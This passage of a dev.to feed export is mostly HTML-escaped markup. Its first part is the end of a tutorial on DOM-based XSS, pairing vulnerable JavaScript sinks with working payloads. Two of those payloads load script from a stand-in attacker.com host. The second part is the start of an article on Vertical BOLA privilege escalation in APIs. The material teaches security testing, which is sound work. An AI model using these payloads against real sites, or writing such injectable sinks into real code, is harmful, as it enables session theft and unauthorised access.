&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Multi-step execution chain.&lt;/p&gt;


&lt;h2&gt;
  
  
  10. outerHTML Replacement
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Manual Query Parsing
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;q=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?q=&amp;lt;svg/onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. HTML Comment Breakout
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;!-- &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; --&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#--&amp;gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Breaks out of comment context.&lt;/p&gt;


&lt;h2&gt;
  
  
  13. Template Literal Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;tpl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;h1&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/h1&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tpl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. iframe src Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;iframe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Error Handling Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. DOMParser Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DOMParser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text/html&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  17. Dynamic Script Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#https://attacker.com/x.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  18. Fetch → DOM Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#https://attacker.com/payload.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  19. setTimeout String Execution
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  20. window.name Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Attack Flow:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://target.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Mental Model
&lt;/h2&gt;

&lt;p&gt;When reviewing JavaScript, always map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SOURCE → TRANSFORMATION → SINK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source = location, storage, message, URL&lt;/li&gt;
&lt;li&gt;Transformation = decode, replace, parse&lt;/li&gt;
&lt;li&gt;Sink = innerHTML, eval, script, attributes&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Payload Strategy
&lt;/h2&gt;

&lt;p&gt;Don’t rely on one payload. Rotate between:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
javascript:alert(1)
data:text/html,&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
" onmouseover=alert(1) x="
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>react</category>
      <category>html</category>
    </item>
    <item>
      <title>Understanding Vertical BOLA in APIs</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 09 Mar 2026 11:07:40 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/understanding-vertical-bola-in-apis-358m</link>
      <guid>https://dev.to/abhinavsingwal/understanding-vertical-bola-in-apis-358m</guid>
      <description>&lt;p&gt;When learning &lt;strong&gt;API penetration testing&lt;/strong&gt;, one of the most dangerous vulnerabilities you will encounter is &lt;strong&gt;Vertical BOLA&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is responsible for many &lt;strong&gt;critical bug bounty reports and real-world data breaches&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this article, we will break down what Vertical BOLA is, why it happens, and how security researchers can test for it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Vertical BOLA?
&lt;/h2&gt;

&lt;p&gt;Vertical BOLA happens when a &lt;strong&gt;normal user is able to access functionality or data that should only be available to higher-privileged roles such as administrators&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A user is authenticated, but the API does not properly verify whether that user should be allowed to perform a privileged action.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This leads to &lt;strong&gt;privilege escalation&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Horizontal vs Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;Understanding the difference is important.&lt;/p&gt;

&lt;h3&gt;
  
  
  Horizontal BOLA
&lt;/h3&gt;

&lt;p&gt;User accesses &lt;strong&gt;another user's data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/users/102
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User 101 changes the ID to &lt;strong&gt;102&lt;/strong&gt; and accesses another user's profile.&lt;/p&gt;




&lt;h3&gt;
  
  
  Vertical BOLA
&lt;/h3&gt;

&lt;p&gt;User accesses &lt;strong&gt;admin-level functionality&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/admin/users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a normal user token can access this endpoint, it is a &lt;strong&gt;Vertical BOLA vulnerability&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Vertical BOLA Happens
&lt;/h2&gt;

&lt;p&gt;Most developers correctly implement &lt;strong&gt;authentication&lt;/strong&gt;, but forget to enforce &lt;strong&gt;authorization checks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Common mistakes include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only checking if the user is logged in&lt;/li&gt;
&lt;li&gt;Trusting frontend restrictions&lt;/li&gt;
&lt;li&gt;Missing role validation in backend APIs&lt;/li&gt;
&lt;li&gt;Reusing internal admin endpoints for public APIs&lt;/li&gt;
&lt;li&gt;Incorrect middleware configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because APIs are often used by &lt;strong&gt;web, mobile, and internal tools&lt;/strong&gt;, some endpoints accidentally become exposed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Example
&lt;/h2&gt;

&lt;p&gt;Imagine a normal user sends this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/admin/users
Authorization: Bearer user_token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin@company.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the API failed to verify that the user is &lt;strong&gt;not an administrator&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is a &lt;strong&gt;critical vulnerability&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Vertical BOLA Patterns
&lt;/h2&gt;

&lt;p&gt;Security researchers often find Vertical BOLA in the following areas.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Admin Endpoints
&lt;/h3&gt;

&lt;p&gt;Look for endpoints like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/admin/users
/api/admin/settings
/api/admin/reports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If they work with a normal user token, there is a problem.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Role Manipulation in Requests
&lt;/h3&gt;

&lt;p&gt;Sometimes APIs trust user input.&lt;/p&gt;

&lt;p&gt;Example request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the backend accepts this, the attacker may gain admin privileges.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Organization-Level Access
&lt;/h3&gt;

&lt;p&gt;Many SaaS platforms separate customers by &lt;strong&gt;organization or tenant&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
